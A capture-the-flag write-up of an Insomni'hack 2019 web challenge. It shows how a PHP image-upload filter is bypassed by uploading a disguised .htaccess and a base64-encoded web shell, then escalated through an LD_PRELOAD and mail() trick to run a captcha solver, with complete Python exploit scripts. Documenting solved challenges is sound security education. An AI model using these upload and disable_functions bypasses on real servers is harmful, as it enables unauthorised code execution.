CTF
Search…
Insomni'hack teaser 2019

Credits

Most work was done by corb, our captain, and idea from @ulas, with a big help from other @opentoall members, i am just taking note of this funny challenge

Upload an .htaccess

So it was 1 AM when i joined the contest, i was intend to play about ~ 2 hours to get good sleep. 2 hours is quite impossible to solve a RE challenge (this contest is serious :P), so i decided to play a web chall. After an hour playing around, my friend @ulas came up with idea that some how we need to upload an .htaccess, then there is pretty much things to do after that

Bypass checkpoints

checkpoints.php
1
<?php
2
if (isset($_GET["source"]))
3
die(highlight_file(__FILE__));
4
5
session_start();
6
7
if (!isset($_SESSION["home"])) {
8
$_SESSION["home"] = bin2hex(random_bytes(20));
9
}
10
$userdir = "images/{$_SESSION["home"]}/";
11
if (!file_exists($userdir)) {
12
mkdir($userdir);
13
}
14
15
$disallowed_ext = array(
16
"php",
17
"php3",
18
"php4",
19
"php5",
20
"php7",
21
"pht",
22
"phtm",
23
"phtml",
24
"phar",
25
"phps",
26
);
27
28
29
if (isset($_POST["upload"])) {
30
if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) {
31
die("yuuuge fail");
32
}
33
34
$tmp_name = $_FILES["image"]["tmp_name"];
35
$name = $_FILES["image"]["name"];
36
$parts = explode(".", $name);
37
$ext = array_pop($parts);
38
39
if (empty($parts[0])) {
40
array_shift($parts);
41
}
42
43
if (count($parts) === 0) {
44
die("lol filename is empty");
45
}
46
47
if (in_array($ext, $disallowed_ext, TRUE)) {
48
die("lol nice try, but im not stupid dude...");
49
}
50
51
$image = file_get_contents($tmp_name);
52
if (mb_strpos($image, "<?") !== FALSE) {
53
die("why would you need php in a pic.....");
54
}
55
56
if (!exif_imagetype($tmp_name)) {
57
die("not an image.");
58
}
59
60
$image_size = getimagesize($tmp_name);
61
if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {
62
die("lol noob, your pic is not l33t enough");
63
}
64
65
$name = implode(".", $parts);
66
move_uploaded_file($tmp_name, $userdir . $name . "." . $ext);
67
}
68
69
echo "<h3>Your <a href=$userdir>files</a>:</h3><ul>";
70
foreach(glob($userdir . "*") as $file) {
71
echo "<li><a href='$file'>$file</a></li>";
72
}
73
echo "</ul>";
74
75
?>
76
77
<h1>Upload your pics!</h1>
78
<form method="POST" action="?" enctype="multipart/form-data">
79
<input type="file" name="image">
80
<input type="submit" name=upload>
81
</form>
82
<!-- /?source -->
Copied!

Checkpoint 1 : Name

It's quite trivial, the code split our file name by ".", so we can just upload the "..htaccess" file

Checkpoint 2 : Extension

This one actually a hint that lead us to think about using .htaccess at first place

Checkpoint 3 : Exif check

It's quite trivial, reading on php documentation page, we know that
1
exif_imagetype() reads the first bytes of an image and checks its signature
Copied!
So, it means that we only need our file start with an magic number. After trial and error, we know that line start with Null Byte will be skipped and .htaccess works well
We choose "0x00" which mean WBMP because .htaccess will skip through the line that start with "0x00"
From PHP Interpreter C source code, we know that
1
/* {{{ php_get_wbmp
2
* int WBMP file format type
3
* byte Header Type
4
* byte Extended Header
5
* byte Header Data (type 00 = multibyte)
6
* byte Header Data (type 11 = name/pairs)
7
* int Number of columns
8
* int Number of rows
9
*/
Copied!

Checkpoint 4 : Size check

It's quite easy, we just need to read C code of PHP to understand how it calculate dimension of an image
1
static int php_get_wbmp(php_stream *stream, struct gfxinfo **result, int check)
2
{
3
int i, width = 0, height = 0;
4
5
if (php_stream_rewind(stream)) {
6
return 0;
7
}
8
9
/* get type */
10
if (php_stream_getc(stream) != 0) {
11
return 0;
12
}
13
14
/* skip header */
15
do {
16
i = php_stream_getc(stream);
17
if (i < 0) {
18
return 0;
19
}
20
} while (i & 0x80);
21
22
/* get width */
23
do {
24
i = php_stream_getc(stream);
25
if (i < 0) {
26
return 0;
27
}
28
width = (width << 7) | (i & 0x7f);
29
/* maximum valid width for wbmp (although 127 may be a more accurate one) */
30
if (width > 2048) {
31
return 0;
32
}
33
} while (i & 0x80);
34
35
/* get height */
36
do {
37
i = php_stream_getc(stream);
38
if (i < 0) {
39
return 0;
40
}
41
height = (height << 7) | (i & 0x7f);
42
/* maximum valid height for wbmp (although 127 may be a more accurate one) */
43
if (height > 2048) {
44
return 0;
45
}
46
} while (i & 0x80);
47
48
if (!height || !width) {
49
return 0;
50
}
51
52
if (!check) {
53
(*result)->width = width;
54
(*result)->height = height;
55
}
56
57
return IMAGE_FILETYPE_WBMP;
58
}
Copied!
Source
1
https://github.com/php/php-src/blob/e219ec144ef6682b71e135fd18654ee1bb4676b4/ext/standard/image.c
Copied!
With a little bit math calculation, we can get it done
poc.py
1
out = chr(0x00) + chr(0x00) + chr(0x8a) + chr(0x39) + chr(0x80) + chr(0x8a) + chr(0x39) + chr(0x00)
2
print out
3
out += '''your htaccess'''
Copied!

Checkpoint 5 : PHP

It was checking if "<?" is in the uploaded file, so we need encode the shell in base64
.htaccess
1
AddType application/x-httpd-php .corb3nik php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.corb3nik"Upload shell
Copied!
<3 Credits go all to Corb3nik
up_shell.py
1
#!/usr/bin/env python3
2
3
import requests
4
import base64
5
6
VALID_WBMP = b"\x00\x00\x8a\x39\x8a\x39\x00\x00\x00\x00\x00\x0a\x0a"
7
URL = "http://35.246.234.136/"
8
RANDOM_DIRECTORY = "cd64786e8e27882608c3520dd83a27babbcdbb08"
9
10
COOKIES = {
11
"PHPSESSID" : ""
12
}
13
14
def upload_content(name, content):
15
16
data = {
17
"image" : (name, content, 'image/png'),
18
"upload" : (None, "Submit Query", None)
19
}
20
21
response = requests.post(URL, files=data, cookies=COOKIES)
22
23
HT_ACCESS = VALID_WBMP + b"""
24
AddType application/x-httpd-php .corb3nik
25
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.corb3nik"
26
"""
27
TARGET_FILE = VALID_WBMP + b"AA" + base64.b64encode(b"<?php echo works; ?>")
28
29
upload_content("..htaccess", HT_ACCESS)
30
upload_content("shell.corb3nik", TARGET_FILE)
31
upload_content("trigger.corb3nik", VALID_WBMP)
32
33
response = requests.get(URL + "/images/" + RANDOM_DIRECTORY + "/trigger.corb3nik")
34
print(response.text)
Copied!

It's not done yet

Even though we can execute php command, but system() and some function is disabled, we managed to found the flag but dont have permission to read it
1
. .. .dockerenv bin boot dev etc flag get_flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
Copied!
get_flag is an captcha that read data from urandom and made a sum, ask for answer, quite easy. But problem is that we dont have interactive shell to solve that captcha, FUCK IT!
At that moment, it was 8 AM and i feels a bit tire, my brain is not in good condition and functioning enough to keep working, so i decided to go to sleep. Well, i should go sleep at 7 AM already but i know if i did so, my teammate will get it done before i wake up...

Mission accomplished

Corb was wrote an C program to pipe data from get_flag and solve the captcha
1
#include <string.h>
2
#include <stdint.h>
3
#include <stdio.h>
4
#include <signal.h>
5
#include<stdlib.h>
6
#include<unistd.h>
7
#include<sys/wait.h>
8
#include<sys/prctl.h>
9
#include<signal.h>
10
#include<stdlib.h>
11
#include<stdio.h>
12
13
int main() {
14
pid_t pid = 0;
15
int inpipefd[2];
16
int outpipefd[2];
17
char buf[256];
18
char msg[256];
19
int status;
20
21
pipe(inpipefd);
22
pipe(outpipefd);
23
pid = fork();
24
if (pid == 0)
25
{
26
dup2(outpipefd[0], STDIN_FILENO);
27
dup2(inpipefd[1], STDOUT_FILENO);
28
dup2(inpipefd[1], STDERR_FILENO);
29
prctl(PR_SET_PDEATHSIG, SIGTERM);
30
execl("/get_flag", "get_flag", (char*) NULL);
31
exit(1);
32
}
33
34
close(outpipefd[0]);
35
close(inpipefd[1]);
36
37
char data[0xff] = {0};
38
read(inpipefd[0], data, 0xff);
39
40
uint64_t sum = 0;
41
char *pch;
42
printf("Raw : %s\n", data);
43
pch = strtok (data+34, "+");
44
printf("Sum : %llu\n", sum);
45
while (pch != 0) {
46
sum += strtoull(pch, 0, 10);
47
printf("Operation : %llu\n", atol(pch));
48
printf("Sum : %llu\n", sum);
49
pch = strtok (0, "+");
50
}
51
52
char result[32] = {0};
53
sprintf(result, "%llu\n", sum);
54
printf("Result : %llu\n", sum);
55
56
write(outpipefd[1], result, 16);
57
memset(data, 0, 0xff);
58
read(inpipefd[0], data, 0xff);
59
printf("Final : %s", data);
60
}
Copied!
Final payload
1
#!/usr/bin/env python3
2
3
import requests
4
import base64
5
6
VALID_WBMP = b"\x00\x00\x8a\x39\x8a\x39\x00\x00\x00\x00\x00\x0a\x0a"
7
URL = "http://35.246.234.136/"
8
RANDOM_DIRECTORY = "ad759ad95e5482e02a15c5d30042b588b6630e64"
9
10
COOKIES = {
11
"PHPSESSID" : "0e7eal0ji7seg6ac3ck7d2csd8"
12
}
13
14
def upload_content(name, content):
15
16
data = {
17
"image" : (name, content, 'image/png'),
18
"upload" : (None, "Submit Query", None)
19
}
20
21
response = requests.post(URL, files=data, cookies=COOKIES)
22
23
HT_ACCESS = VALID_WBMP + b"""
24
AddType application/x-httpd-php .corb3nik
25
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.corb3nik"
26
"""
27
TARGET_FILE = VALID_WBMP + b"AA" + base64.b64encode(b"""
28
<?php
29
move_uploaded_file($_FILES['captcha_solver']['tmp_name'], '/tmp/captcha_solver.corb3nik');
30
move_uploaded_file($_FILES['evil']['tmp_name'], '/tmp/corb3nik_you_idiot');
31
putenv('LD_PRELOAD=/tmp/corb3nik_you_idiot');
32
putenv("_evilcmd=chmod +x /tmp/captcha_solver.corb3nik");
33
mail('a','a','a');
34
putenv("_evilcmd=cd / && /tmp/captcha_solver.corb3nik");
35
mail('a','a','a');
36
echo file_get_contents('/tmp/_0utput.txt');
37
?>
38
""")
39
40
upload_content("..htaccess", HT_ACCESS)
41
upload_content("shell.corb3nik", TARGET_FILE)
42
upload_content("trigger.corb3nik", VALID_WBMP)
43
44
45
files = { "evil" : open("../payloads/evil.so", "rb"),
46
"captcha_solver" : open("../payloads/captcha_solver", "rb") }
47
response = requests.post(URL + "/images/" + RANDOM_DIRECTORY + "/trigger.corb3nik", files=files)
48
print(response.text)
Copied!

It's funny

lol.png
Last modified 2yr ago